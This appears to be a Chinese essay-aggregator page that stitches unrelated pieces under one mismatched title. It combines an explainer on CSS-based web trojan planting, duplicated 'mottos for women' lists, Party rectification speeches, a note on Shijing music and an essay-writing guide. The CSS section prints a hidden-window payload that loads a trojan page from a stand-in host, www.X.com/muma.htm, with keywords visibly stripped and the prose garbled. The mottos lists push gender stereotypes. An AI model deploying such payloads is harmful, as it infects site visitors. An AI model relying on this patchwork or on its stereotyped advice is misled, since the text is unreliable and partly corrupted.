议论文范文和所用方法

时间:2023-03-21 03:39:59 作者:血夜影狼 综合材料 收藏本文 下载本文

【导语】“血夜影狼”通过精心收集,向本站投稿了17篇议论文范文和所用方法,以下是小编为大家准备的议论文范文和所用方法,仅供参考,大家一起来看看吧。

篇1:揭秘 所用的CSS代码挂马方法

跟着Web2.0的普及,各种网页殊效用得越来越多,这也给 一个可乘之机,他们发现,用来制作网页殊效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式实在是从防范E挂马的CSS代码演变而来。

安天实验室阿楠:安全工程师,从事病毒分析多年。

网站挂马的手段最初非常单一,但是跟着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代 的最爱。有很多非常知名的网站都被 用CSS挂马入侵过。

在我印象中,记忆最深刻的一次是 CSS挂马。当时, 推出没有多久,就有很多百度用户收到了类似“哈,节日快乐呀!强烈热闹庆祝2008,心情好好,记住要想我!hi.baidu.com/XXXXX”的站内动静。

因为网址是 的网址,很多用户以为不会存在安全题目,加上又有可能是自己朋友发来的,因此会绝不犹豫地点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继承传播。

因为蠕虫扩散非常严峻,终极导致 不得不发布官方声明提醒用户,并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是 CSS模板功能,通过变形的expression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台静静运行并发送大量伪造信息。

我建议大家在点击目生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好仍是使用一些带网页木马拦截功能的安全辅助工具。

为什么选择CSS挂马?

在Web1.0时代,使用E挂马对于 而言,与其说是为了更好地实现木马的躲藏,倒不如说是无可奈何的一个选择。在简朴的HTML网页和缺乏交互性的网站中, 可以利用的手段也非常有限,即使采取了复杂的伪装,也很轻易被识破,还不如E来得直接和有效。

但如今交互式的Web2.0网站越来越多,答应用户设置与修改的博客、SNS社区等纷纷泛起。这些互动性非常强的社区和博客中,往往会提供丰硕的功能,并且会答应用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。

小百科:

CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。

在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码就会执行。这就犹如你去一家着名且证照齐全的大病院看病,你非常信任病院,但是你所看的门诊却已经被庸医外包了下来,并且打着病院的名义利用你的信任成功欺骗了你,

但是当你事后去找人算账时,病院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。

CSS挂马攻防实录

攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

方式1:

Body

“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马静静地在用户的电脑中运行。

那如何将这段CSS恶意代码挂到正常的网页中去呢? 可以将天生好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

小百科:

使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,犹如使用DIV对象那样精确地设置大小。

方式2:

Body

background-image: url(t:open(“www.X.com/muma.htm”,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))

方式1的CSS挂马技术,在运行时会泛起空缺的页面,影响网页访问者正常的访问,因此比较轻易发现。不外在方式2中的这段代码,使用了t的Open开窗,通过新开一个躲藏的窗口,在后台静静地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

防网络服务器被挂马,通常会泛起防病毒软件告警之类的信息。因为漏洞不断更新,挂马种类时刻都在变换,通过客户真个反映来发现服务器是否被挂马往往疏漏较大。准确的做法是常常检查服务器日志,发现异常信息,常常检查网站代码,使用网页木马检测系统,进行排查。

目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不外假如你选择过滤CSS的话,首先需要注意自己的相关网页是否有CSS的内容,因此我们仍旧首推用阻断方式来防范CSS。阻断代码如下所示:

emiao1:expression(this.src=”about:blank”,this.outerHTML=”“);

将外域的木马代码的src重写本钱地IE404错误页面的地址,这样,外域的t代码不会被下载。不外阻断方式也有生成致命的弱点,弱点的秘密我们将于下次揭晓。

篇2:女人所用的座右铭

女人所用的23条座右铭

1、不要利用自己的吵闹功力,厉害的女人只会让男人避而远之。温柔才是法宝。

2、一点点醋劲会让他觉得你在乎他,但不要无缘无故的疑神疑鬼。要信任他,爱情总是建立在信任基础之上的。

3、不要以为你不能理解的就是错误的,男人和女人是不同的。不要企图改变他,如果他事事真的都顺着你,那你还会喜欢他吗。

4、不要过于频繁的吵架,即使是小的吵架,凡事都是积少成多的。偶尔的小吵架,不是要你去责备他,而是要去显得委屈和悲伤,让他更懂得爱怜你。吵架要给自己留后路,不要把事情做绝,不要把话说绝。

5、不要整天板着脸,故装忧郁,有趣的女人令人愉快。谁都希望能开心快乐的生活,不要让男人觉得跟你在一起很无聊。

6、不要对男人逼供,每个人都可以有自己的秘密,他不想说的就让他沉默吧。有些事情说出来,只会大家都很受伤。

7、不要显得很坚强。适当地用眼泪,但不能滥用。

8、不能常常说男人的缺点,那样会使他很反感:我那么差,你还缠着我干嘛?除非你真的很想离开他,否则不要这样去伤他的自尊心。

9、不要因为熟悉,不重视自己的打扮,即使在家里也不要邋邋遢遢。高雅美丽的女人永远令人舒服和心动,还要透出一种含蓄的性感。

10、不要粘着他,对他若即若离,让他牵挂你,然后他才会珍惜你的温柔妩媚。不能对别的男人也像对他一样。要让他知道,你的所有一切,只为了他才这样。在你身边,让他觉得他是特别的,他就会不离开你。

11、不要过度地撒娇,适度就好,否则就变得毫不讲理。而且时机要恰当,不要在他心烦意乱的时候还不识趣的乱说话。

12、不要对他坦白你的恋爱史,即使要说,也不要仔细描述,没有男人受得了你还非常怀念你以前的恋人。

13、不要以为他不细心,不要随便乱说话,即使是小事也要仔细考虑。

14、不要朝三暮四,专一的女人男人才敢动心要与之过一辈子。

15、不要陷在爱情里出不来,爱情一开始靠激情,但要维持就要靠智慧,要用理智控制自己的行为,聪明的女人才能得到自己想要的幸福。往往女人在热恋是会变得很愚蠢,最后导致失去自己爱的人。

16、不要不在乎他的付出,他爱的.方式可能不一样,但你一定要珍惜他对你的爱。

17、不要只在他的生活中扮演一种角色,要懂得看时机行事,时而如母亲般呵护,时而像女儿般依偎,时而像偶像一般崇拜,时而像老师一样成熟。

18、爱情不是游戏,爱情很脆弱,不要去考验你的他,其实,没有多少男人是可以禁得起真正的考验的。本来风平浪静,一旦你使用一些小机谋去考验他,反而可能激起千层浪,一发不可收拾。例如常常以分手相要挟,例如派个美女好友进行色的考验,这只会让他讨厌你。

19、不要对小事情斤斤计较,连他迟一点点回你的电话都大发雷霆,他会觉得你不懂得体谅他人,不通情达理,没法跟你生活一辈子。

20、不能穿着太暴露和花哨,只会降低你在他心中的地位。一个男人,如果他对你真心,都希望你是个能出得厅堂的大方得体的女人,他把你带出去他会有面子。

21、不要耍小聪明,他比你聪明,他只会在心里嘲笑你。傻傻的女孩会让男人有优越感,他们会觉得这样的女孩很可爱。

22、不要企图捆住男人,时时查他的行踪,翻查他私人的东西。男人会认为失去了自由,没有男人心甘情愿为了一个女人放弃自由。

23、不要拿别的男人与你的他做比较,尤其不要赞扬他人贬低他。不要过分赞扬他的外貌,男人不希望以外貌赢得女人的爱。尤其是一个他想一辈子在一起的女人,如果只爱他的外表,他会感到不安全。

篇3:女人所用的座右铭

女人所用的座右铭

一、不要利用自己的吵闹功力,厉害的女人只会让男人避而远之。温柔才是法宝。

二、一点点醋劲会让他觉得你在乎他,但不要无缘无故的疑神疑鬼。要信任他,爱情总是建立在信任基础之上的。

三、不要以为你不能理解的就是错误的,男人和女人是不同的。不要企图改变他,如果他事事真的都顺着你,那你还会喜欢他吗。

四、不要过于频繁的吵架,即使是小的吵架,凡事都是积少成多的。偶尔的小吵架,不是要你去责备他,而是要去显得委屈和悲伤,让他更懂得爱怜你。吵架要给自己留后路,不要把事情做绝,不要把话说绝。

五、不要整天板着脸,故装忧郁,有趣的女人令人愉快。谁都希望能开心快乐的生活,不要让男人觉得跟你在一起很无聊。

六、不要对男人逼供,每个人都可以有自己的秘密,他不想说的就让他沉默吧。有些事情说出来,只会大家都很受伤。

七、不要显得很坚强。适当地用眼泪,但不能滥用。

八、不能常常说男人的缺点,那样会使他很反感:我那么差,你还缠着我干嘛?除非你真的`很想离开他,否则不要这样去伤他的自尊心。

九、不要因为熟悉,不重视自己的打扮,即使在家里也不要邋邋遢遢。高雅美丽的女人永远令人舒服和心动,还要透出一种含蓄的性感。

一十、不要粘着他,对他若即若离,让他牵挂你,然后他才会珍惜你的温柔妩媚。不能对别的男人也像对他一样。要让他知道,你的所有一切,只为了他才这样。在你身边,让他觉得他是特别的,他就会不离开你。

十一、不要过度地撒娇,适度就好,否则就变得毫不讲理。而且时机要恰当,不要在他心烦意乱的时候还不识趣的乱说话。

十二、不要对他坦白你的恋爱史,即使要说,也不要仔细描述,没有男人受得了你还非常怀念你以前的恋人。

十三、不要以为他不细心,不要随便乱说话,即使是小事也要仔细考虑。

十四、不要朝三暮四,专一的女人男人才敢动心要与之过一辈子。

十五、不要陷在爱情里出不来,爱情一开始靠激情,但要维持就要靠智慧,要用理智控制自己的行为,聪明的女人才能得到自己想要的幸福。往往女人在热恋是会变得很愚蠢,最后导致失去自己爱的人。

十六、不要不在乎他的付出,他爱的方式可能不一样,但你一定要珍惜他对你的爱。

十七、不要只在他的生活中扮演一种角色,要懂得看时机行事,时而如母亲般呵护,时而像女儿般依偎,时而像偶像一般崇拜,时而像老师一样成熟。

十八、爱情不是游戏,爱情很脆弱,不要去考验你的他,其实,没有多少男人是可以禁得起真正的考验的。本来风平浪静,一旦你使用一些小机谋去考验他,反而可能激起千层浪,一发不可收拾。例如常常以分手相要挟,例如派个美女好友进行色的考验,这只会让他讨厌你。

十九、不要对小事情斤斤计较,连他迟一点点回你的电话都大发雷霆,他会觉得你不懂得体谅他人,不通情达理,没法跟你生活一辈子。

二十、不能穿着太暴露和花哨,只会降低你在他心中的地位。一个男人,如果他对你真心,都希望你是个能出得厅堂的大方得体的女人,他把你带出去他会有面子。

二十一、不要耍小聪明,他比你聪明,他只会在心里嘲笑你。傻傻的女孩会让男人有优越感,他们会觉得这样的女孩很可爱。

二十二、不要企图捆住男人,时时查他的行踪,翻查他私人的东西。男人会认为失去了自由,没有男人心甘情愿为了一个女人放弃自由。

二十三、不要拿别的男人与你的他做比较,尤其不要赞扬他人贬低他。不要过分赞扬他的外貌,男人不希望以外貌赢得女人的爱。尤其是一个他想一辈子在一起的女人,如果只爱他的外表,他会感到不安全。

篇4:《诗经》所用的音乐

《诗经》所用的音乐

中国古代诗歌《诗经》所用的音乐。《诗经》305篇,不仅奠定了中国古代文学现实主义的基础,而且大都是可以上口的歌曲,在音乐上也产生了巨大的影响,是中国古代最珍贵的艺术遗产之一。

《诗经》所包含的歌曲,在周朝极为流行。据《诗经》朱熹《集注》:“风”(国风)是“民俗歌谣之诗”,“小雅”是“燕飨之乐”,“大雅”是“会朝之乐,受□、陈戒之辞”,“颂”是“宗庙之乐歌”,为《周礼》、《仪礼》、《礼记》所记各种典礼仪式所用的音乐(即雅乐)。其中歌唱的、合奏的、单项乐器分部奏的歌曲、乐曲,绝大部分都收在《诗经》内,多数属于“雅”、“颂”两类,少部分属于“周南”、“召南”。有些乐器所奏曲目(“笙诗”),在《诗经》中只有篇名,称为“佚诗”。实际既为乐器所奏,自然没有歌词,不是把歌词佚失了。《仪礼》中“燕礼”所用的歌曲、乐曲排列如下:

工歌(乐工演唱)──《鹿鸣》、《四牡》、《皇皇者华》。

笙奏──《南陔》、《白华》、《华黍》。

间歌──歌《鱼丽》,笙《由庚》;歌《南有嘉鱼》,笙《由仪》。

乡乐(合唱民歌)──“周南”:《关睢》、《葛覃》、《卷耳》。“召南”:《鹊巢》、《采蘩》、《采苹》。

其中,歌唱的歌词全部载于《诗经》的“小雅”及“周南”、“召南”中,笙所奏的乐曲列为《诗经》中的“佚诗”,载有篇名。

《诗经》中的歌曲曾被列为上层社会教育的主要科目,所谓诗、书、礼、乐并称“四术”。在贵族的社会交际或各国的外交活动中,也往往引用《诗经》中的篇句作为辩论的根据或必要的辞令,可见《诗经》在当时的社会生活中,占有很重要的地位。至于《诗经》中的民歌,则本来就是流传于群众口头的东西,其影响之深广更不待言了。

由于时代久远,《诗经》的曲调没有传留下来,今人只能从诗句中隐约探索其歌曲的'曲式结构。例如,除多见的启、承、转、合的四句乐段和多段词之外,还有在每章之后带有同一歌词的副歌的“分节歌”形式;也有主歌前加引子的;也有主歌后带尾声的;或既有引子也有尾声的;有两个不同曲调的乐段交替出现的等。

《诗经》的传世乐谱,都是唐、宋以后文人的拟作。宋代朱熹《仪礼经传通解》中载有宋代赵彦肃所传《诗经》的乐谱《风雅十二诗谱》,据说就是唐开元时(713~741)“乡饮酒”礼所用的乐曲。其谱为律吕字谱,皆一字一音。此后,元代熊朋来《瑟谱》中除载有赵彦肃的《风雅十二诗谱》(熊朋来题为《诗旧谱》)之外,还有他自己拟作的《诗新谱》17篇。明代朱载□在《律吕精义内篇》、《律吕精义外篇》、《乡饮诗乐谱》中也有拟《诗》乐之作。清代聂双江、汪双池、邱之□等人也均有拟作。

清乾隆五十三年(1788)弘历(清高宗)曾命臣僚纂修《诗经》乐谱,刊行了一部卷帙颇为不小的“钦定”《诗经乐谱》。弘历命人纂修的《律吕正义后编》中也有《诗乐谱》。这种出自宫廷的拟作,比之文人所拟乐谱更加脱离历史,甚无可取。

篇5:权为民所用整改措施讲话稿

一、抓学习,不断改进思想作风

1、坚持用党的理论创新成果武装头脑、指导实践,不断提高贯彻落实科学发展观、参与和谐社会建设的能力。转变思维方式,不断开阔视野,提升境界,加强世界观改造,做到权为民所用,情为民所系,利为民所谋。

2、抓好学习型机关建设,不断提高全体干部的整体素质。采取外出参观学习、定期请高层次专家作专题辅导、开辟学习论坛等形式,在提高理论学习的系统性、针对性上下功夫。

3、加强调查研究,制定调研计划,对下基层的时间和调研具体任务作出明确规定,要求每名领导干部带领分管部室每年下基层时间不少于1次,并写出1-2篇观点新、指导性强、质量高,有参考价值的调研报告,增强工作的针对性和指导性。

二、抓落实,不断改进工作作风

1、坚持解放思想、实事求是,发扬艰苦奋斗、密切联系群众的优良作风,牢固树立服务意识和群众观念,多到贫困村中走一走,多到困难妇女家中看一看,掌握基层的真实情况,切实维护妇女群众的合法权益。

2、加强机关作风建设,坚持一切从简的原则,严格控制文件质量和印发数量,统筹安排好部室的各项活动、各类会议。从各个方面入手,厉行节约,勤俭办事,切实把节约型机关的各项要求落到实处。

3、健全完善规章制度,规范机关各项工作。进一步健全完善人事管理、财务管理、车辆管理等机关规范化管理的各项规章制度,强化对制度落实情况的监督检查,坚持用制度规范人、管理人、约束人。

三、抓教育,不断改进生活作风

1、深入开展宗旨观念、纪律观念、艰苦奋斗、廉洁自律等方面的教育。

2、严格遵守廉洁自律相关规定,班子成员以身作则,严格要求自己,正确对待工作、职务和名利,做到自重、自省、自警、自励,成为廉洁勤政的带头人。工作上不搞照本宣科的教条主义、不搞闭门造车的主观主义,不搞只做给领导看的形式主义。

3、以诚相待,广泛开展批评和自我批评批评,要注意多关心同志们的工作生活,切实帮助同志们解决工作生活中的实际困难,增强妇联的凝聚力、向心力和战斗力。

四、抓队伍,不断提高妇联干部的能力。

1、大力加强妇联干部队伍建设,大力倡扬“团结实干创一流,雷厉风行创高效”的妇联“两创”精神,努力做好本职的工作。在实际领导工作中做到“四个针对”:针对缺陷找突破,针对问题抓典型,针对群众需求搞服务,针对重点工作搞创新。

2、领导班子成员要做到“四有”,即个人有能力、整体有合力、工作有活力、发展有潜力。班子全体成员要共同营造一种大事讲原则,小事讲风格,心往一处想,劲往一处使,荣誉面前争着让,困难面前争着上,责任面前争着担的良好局面。

五、抓重点,不断提高妇联工作水平

以“巾帼创业致富,创新建功推进计划”为主抓手:

1、着力于拓展妇女创业创新平台,实施“新女性塑工程”、“新农村、新女性、新家园”工程、“巾帼建功”提升工程、巾帼“创业致富、创新建功”助推行动;

2、着力于激发妇女投身创业创新热情,广泛开展十七大精神主题教育,文明家庭创建活动及家庭教育工作;

3、着力于优化妇女创业创新环境,推进“两规”全面实施,推进依法维权工作,推进“平安家庭”建设和完善弱势妇女儿童扶助体系;

4、着力于提升服务妇女创业创新能力和水平,进一步夯实服务创业创新的组织基础,提高服务创业创新的能力,完善服务创业创新的机制。

篇6:权为民所用整改措施讲话稿

党的群众路线教育实践活动开展以来,我紧扣“为民务实清廉”主题,按照“照镜子、正衣冠、洗洗澡、治治病”的总要求,认真学习系列重要讲话、刘云山同志讲话精神、赵正永书记和徐新荣书记有关讲话要求,切实负起“一把手”责任,对照“三严三实权为民所用”标准,查找出了自己在执行党的政治纪律、组织纪律、中央八项规定和 “四风权为民所用”方面的问题共21条,党组专题民主生活会上班子成员给我提出意见建议23条。按照即知即改、立行立改的原则,对一些具体的、单纯的问题,我已经进行了整改;对一些需要长远规划、事关全局的问题,我将按照“抓常、抓细、抓长”的要求,逐条逐项持续抓好整改。现提出以下整改措施:

一、加强学习,提高理论水平和综合素质。

始终坚持学习,抽时间、挤时间学习,带头抓好学习。系统学习马列主义、毛泽东思想、邓小平理论和“三个代表”重要思想和科学发展观,认真学习党的和十八

届三中全会精神,特别是系列重要讲话精神,同时还要学习党史、国史,用科学理论武装头脑,不断提高自己的政治理论水平、政治修养和综合素质。用党的先进理论、先进思想指导自己的行动,将思想和行动统一到党中央的总安排、总部署、总要求上来,始终和党中央保持高度一致,向中央基准看齐,把党的政策转化成为民服务的实际行动。随时学习中、省、市文件,及时领会党的路线方针政策,掌握省情、市情,弄清发展趋势和方向。积极参加市委市政府安排的各类培训活动,密切关注时事动态,采取多种多样的方式汲取营养,增强科学决策和解决问题的能力。

二、深入基层调研,提升服务水平。

根据工作安排和煤矿实际情况,制定一些针对性、前瞻性强的调研课题开展专题调研;认真完成上级安排的调研活动。调研要深入基层一线,与职工群众面对面、零距离交流谈心。通过交流,了解掌握监管部门、矿井一线的真实情况,督促抓好对隐患的整改落实,对重大隐患实行挂牌督办,切实为企业排忧解难,对存在的问题能够当场解决的,现场办公、立即解决,始终做到急事急办,特事特办;对不能当场解决需要协调相关部门的,及时联系协调相关部门解决;需要联系上级部门的,及时和上级部门联系,争取尽快解决问题,做到调研问题事事有回音、件件有着落,为企业做好指导服务。调研时要轻车简从,不打招呼、不发通知、不听汇报,直接到现场查看情况。彻底改变调研去时声势浩大、期间了了草草、回时匆匆忙忙的不良现象。

三、严格制度落实,切实改进作风。

一是改进文风会风。可开可不开的会议、可发可不发的文件,一律不开不发。不需用开的会议,不必要发的文件,坚决不开不发。能够精简的会议、文件,一律精简。开短会、讲短话、讲有用的话、发有用的文件,把更多的精力投入到解决实际问题中去。

二是严格制度落实。严格执行机关考核、考勤、财务、审批等制度,不搞变通、不搞人情。

三是严格落实上级规定。严格控制单位“三公”经费支出、减少应酬、不参加宴请、剪彩等活动;在办公用房、住房、配车、公务接待等方面从严从简、严格标准,不搞特殊化。厉行节约,严禁铺张浪费。

四、敢于担当,抓好班子,带好队伍。

作为局党组书记、局长,要敢于担当,向我看齐,树立标杆,一定要坚持党要管党、从严治党要求,抓好班子、带好队伍,抓领导、带干部,健全作风建设长效机制,扎实推进各项工作任务落实。

一是抓好党员干部的政治理论学习。坚持周一例会和碰头会多安排学习,进一步坚定理想信念,提高宗旨意识,始终和党中央保持高度一致,维护党的团结,提高党性修养。

二是带头贯彻好党的民主集中制,不搞“一言堂”,对重大事项集体讨论、研究解决;统筹协调好班子成员分工,充分调动工作积极性,提升班子的决策和执行能力。

三是把这次群众路线教育实践活动中批评与自我批评的要求、意见与实际工作相结合,提高解决自身问题的能力。

四是认真贯彻《党政领导干部选拔任用工作条例》,树立正确用人导向,强化责任,公道正派选人用人,把党和人民需要的好干部用起来。严格管理干部队伍,用“钉钉子”的精神下大力气解决好自己及班子的“四风”问题。

五、践行“三严三实权为民所用”,守住纪律底线。

时刻牢记党的宗旨和手中的权利来自人民,时刻自警自醒,认真学习系列重要讲话,把“三严三实权为民所用”内化于心、外化于行,努力提升党性修养,做到执政为民、敢于担当,树立艰苦奋斗、勤俭节约、亲民为民、求真务实的良好形象,做“三严三实权为民所用”的践行者。进一步抓好党风廉政建设工作,履行好党委主体责任,带动班子成员抓好党建工作,各负其责,加强指导,加强监督,加强教育。管好家属亲戚和身边工作人员,教育监督他们遵法守法,抵制不正之风。要以身作则,要求别人不做的,自己首先不做;要求别人做到的,自己首先做到;守住纪律的警戒线,法律的高压线,做到清正廉洁,永葆共产党员政治本色。

对照以上整改措施,我将一项一项抓整改,一件一件抓落实,不辜负党组织和人民群众的信任。

篇7:女人所用的座右铭

女人所用的23条座右铭

1、不要利用自己的吵闹功力,厉害的女人只会让男人避而远之。温柔才是法宝。

2、一点点醋劲会让他觉得你在乎他,但不要无缘无故的疑神疑鬼。要信任他,爱情总是建立在信任基础之上的。

3、不要以为你不能理解的就是错误的,男人和女人是不同的。不要企图改变他,如果他事事真的都顺着你,那你还会喜欢他吗。

4、不要过于频繁的吵架,即使是小的吵架,凡事都是积少成多的。偶尔的小吵架,不是要你去责备他,而是要去显得委屈和悲伤,让他更懂得爱怜你。吵架要给自己留后路,不要把事情做绝,不要把话说绝。

5、不要整天板着脸,故装忧郁,有趣的女人令人愉快。谁都希望能开心快乐的生活,不要让男人觉得跟你在一起很无聊。

6、不要对男人逼供,每个人都可以有自己的秘密,他不想说的就让他沉默吧。有些事情说出来,只会大家都很受伤。

7、不要显得很坚强。适当地用眼泪,但不能滥用。

8、不能常常说男人的缺点,那样会使他很反感:我那么差,你还缠着我干嘛?除非你真的很想离开他,否则不要这样去伤他的自尊心。

9、不要因为熟悉,不重视自己的打扮,即使在家里也不要邋邋遢遢。高雅美丽的女人永远令人舒服和心动,还要透出一种含蓄的性感。

10、不要粘着他,对他若即若离,让他牵挂你,然后他才会珍惜你的温柔妩媚。不能对别的男人也像对他一样。要让他知道,你的所有一切,只为了他才这样。在你身边,让他觉得他是特别的,他就会不离开你。

11、不要过度地撒娇,适度就好,否则就变得毫不讲理。而且时机要恰当,不要在他心烦意乱的时候还不识趣的乱说话。

12、不要对他坦白你的恋爱史,即使要说,也不要仔细描述,没有男人受得了你还非常怀念你以前的恋人。

13、不要以为他不细心,不要随便乱说话,即使是小事也要仔细考虑。

14、不要朝三暮四,专一的女人男人才敢动心要与之过一辈子。

15、不要陷在爱情里出不来,爱情一开始靠激情,但要维持就要靠智慧,要用理智控制自己的行为,聪明的女人才能得到自己想要的幸福。往往女人在热恋是会变得很愚蠢,最后导致失去自己爱的人。

16、不要不在乎他的付出,他爱的.方式可能不一样,但你一定要珍惜他对你的爱。

17、不要只在他的生活中扮演一种角色,要懂得看时机行事,时而如母亲般呵护,时而像女儿般依偎,时而像偶像一般崇拜,时而像老师一样成熟。

18、爱情不是游戏,爱情很脆弱,不要去考验你的他,其实,没有多少男人是可以禁得起真正的考验的。本来风平浪静,一旦你使用一些小机谋去考验他,反而可能激起千层浪,一发不可收拾。例如常常以分手相要挟,例如派个美女好友进行色的考验,这只会让他讨厌你。

19、不要对小事情斤斤计较,连他迟一点点回你的电话都大发雷霆,他会觉得你不懂得体谅他人,不通情达理,没法跟你生活一辈子。

20、不能穿着太暴露和花哨,只会降低你在他心中的地位。一个男人,如果他对你真心,都希望你是个能出得厅堂的大方得体的女人,他把你带出去他会有面子。

21、不要耍小聪明,他比你聪明,他只会在心里嘲笑你。傻傻的女孩会让男人有优越感,他们会觉得这样的女孩很可爱。

22、不要企图捆住男人,时时查他的行踪,翻查他私人的东西。男人会认为失去了自由,没有男人心甘情愿为了一个女人放弃自由。

23、不要拿别的男人与你的他做比较,尤其不要赞扬他人贬低他。不要过分赞扬他的外貌,男人不希望以外貌赢得女人的爱。尤其是一个他想一辈子在一起的女人,如果只爱他的外表,他会感到不安全。

【女人所用的23条座右铭】

篇8:语文议论文方法

语文议论文方法大全

语文议论文方法篇一:语文议论文写法

1、理解议论文的文体知识:议论文三要素、论证方法、议论文结构、常见的议论文的写法、议论文的种类等。

2、思想准备:想清楚要写的内容。如果认识不清,你可看相关的书,《名人名言》《论点论据大全》可以说是个捷径。平时要注意积累,如每天背诵两条名言,记一个故事。这样,你就会写好议论文。不知你对议论文掌握的如何,不知下面的内容对你是否有帮助。

一、议论文的三要素:

1、论点:是一篇文章的灵魂、统帅,任何一篇文章只有一个中心论点,一般可以有分论点。论点应该正确、鲜明、概括,是一个完整的判断句。绝不可模棱两可。

论点的位置一般有四个:

①文题

②开头

③文章中间

④结尾

2、论据

用来证明论点的材料,有事实论据和理论论据两种。

选用事实论据要注意:

①必须具有典型性。古今中外的都可以。是大多数人所知道的,最起码是登过报纸上过电视的。

②最好具有新颖性。

③论据的表述要准确、叙述要概括,能证明论点即可。

选用的道理论据要注意:

①可以是名言、警句、俗话、谚语、定理、公式等。

②要精确,不能篡改、歪曲。

③和论点有必然联系,能证明论点的。

3、论证:论证时使用论据证明论点的过程。

①论证的基本类型:立论、驳论。立论从正面论述,驳论从反面论述。我们写议论文一般以立论为主。

②论证的基本结构层次:三段论式的结构。

提出问题(是什么)→分析问题(为什么)→解决问题(怎么办)也即:引论、本论、结论

常见的论证结构:

a、总分总式结构

b、对照式结构

c、层进式结构

d、并列式结构

③常用的论证方法:

a、例证法(也叫举例论证):用典型事例作论据来证明论点,俗话说事实胜于雄辩。

b、引证法(也叫道理论证)除引用上述介绍的理论论据以外,还可以引用一些古典诗词中的名句,它一方面能加强论证的力量,另一方面,它还可以丰富文章的内容,增强议论文的文学性。

c、对比论证(也叫正反论证):这种方法可以增强论证的鲜明性,使读者清楚作者赞成什么,反对什么。

d、喻证法(也叫比喻论证),增强了作品论证的.形象性、文学性、说服力。

二、议论文逻辑性的具体体现。

议论文的语言必须准确、鲜明、严密、有针对性。

段落与段落之间要有非常清楚的逻辑关系,如总分、对照、层进、并列等。借助起过渡性作用的语句来突出这种关系。如:“有”、“还有”“虽然、但是”“固然”“诚然”是等。

三、议论文写作更需要哲理的思考。

尤其是议论文,是奖善惩恶的,是对人们进行规劝疏导的,是对人们引导作用的,因此必须有说服力,并要有正确的价值取向。

认真上政治课,经常的看看说理性的文章、名言警句等,将提高我们的思想素质,提高我们认识能力,对我们写作,尤其是议论文的写作大有好处。它会起到丰富文章内容,深化文章思想,提高说服力的作用。

初学这些议论文的操作方法,可以从模仿开始。以一篇文章为例。最典型的是吴晗的《谈骨气》:

1、引论部分:开篇提出论点:我们中国人是有骨气的。接着,用孟子的话解释论点“富贵不能淫,贫贱不能移,威武不能屈。”

2、本论部分:用三个事例分别证明论点:穷人不食嗟来之食的贫贱不能移,文天祥的富贵不能淫;闻一多的威武不能屈。

3、结论部分:解释当今无产阶级的骨气并发出号召。

三个部分之间都有过渡:在引论和本论之间有“我们祖先的许多有骨气的动人事迹,还有他积极的教育意义。”引出下面三个事例的叙述。本论和结论之间有“孟子的这些话,虽然在两千多年以前说的,但直到现在,还有他积极的意义。”进行过渡。

在第一和第二例之间,有“另一个故事”“还有个例子”进行过渡。这些过渡句,使文章浑然一体。

三个部分分别回答了三个问题:引论部分解答“是什么”的问题;本论部分解答“为什么(有骨气)”的问题;结论部分回答“我们怎么办”的问题。

三个事例都是概括叙述的,每个事例的后面都有几句简短的议论。这些议论阐明了事件所包含的意义,把事例紧紧地扣在论点上,是论点和论据联系的纽带,否则就就事论事,论点和论据脱节了。

初学写议论文,可学习模仿这个结构。

本文选的事例很典型。从不同角度选取了三个事例:包容了中华民族从古到今的不同历史发展阶段;三个人物形象代表了从士大夫阶层到平民百姓;从古代文官到现代知识分子。三个事例所表现的英雄气概,充分证明了“我们中国人时又骨气的”之一中心论点。你再写论文时,如果用两个以上的事例,也要学习从不同的角度去选材。

书店有卖《论点论据大全》的,你可以买来,选一个专题,写前想清楚,模仿着上面的结构,列好提纲再动笔写。开始可写短文,选一个事例,一条名言,连缀成文。

中考议论文的写作技巧

步骤/方法

11.学会分解分论点。

①并列法。即对中心论点进行条分缕析,分解出几个分论点,以显示思维的全面性。如《梅花香自苦寒来》可以分解为这三个分论点:①苦可以激发进取心;②苦可以培养坚强的意志;③苦可以培养创造精神。

②层进法。即对事理作纵深剖析,以显示思维的深刻性。如《在困难面前》可以分解成这样的几个分论点:①要承认困难,因为困难无处不在,无时不有;②要不怕困难,因为困难像弹簧,你强它就弱;③要分析研究困难,千方百计地战胜困难,这三个分论点就呈递进关系。

③对照法。即将事理分解成正反两个方面,以显示思维的鲜明性。如《学贵多问》可以分解成这两个分论点:①多问可以相互参照,便于释疑;②孤陋寡闻导致学业荒废。

22.掌握议论的结构方式,做到结构完整。

结构完整就是要求行文首尾一贯,条理清楚,层次分明。而要做到这点,就必须掌握议论文的一般结构方式。议论文的结构方式一般有总分式、递进式、对照式、启感式。其中启感式的写法是考场作文的常用结构方式。”启“是指启示类,”感“是指感想类。共同特点是先叙材料,后发感想。感想类可以先叙材料后发感想,也可以边读边感,如文学评论。这种写法一般由”引“”议“”联“”结“四步构成。当然也可以采取”联“”引“”议“”结“或”引“”联“”议“”结“的步骤。

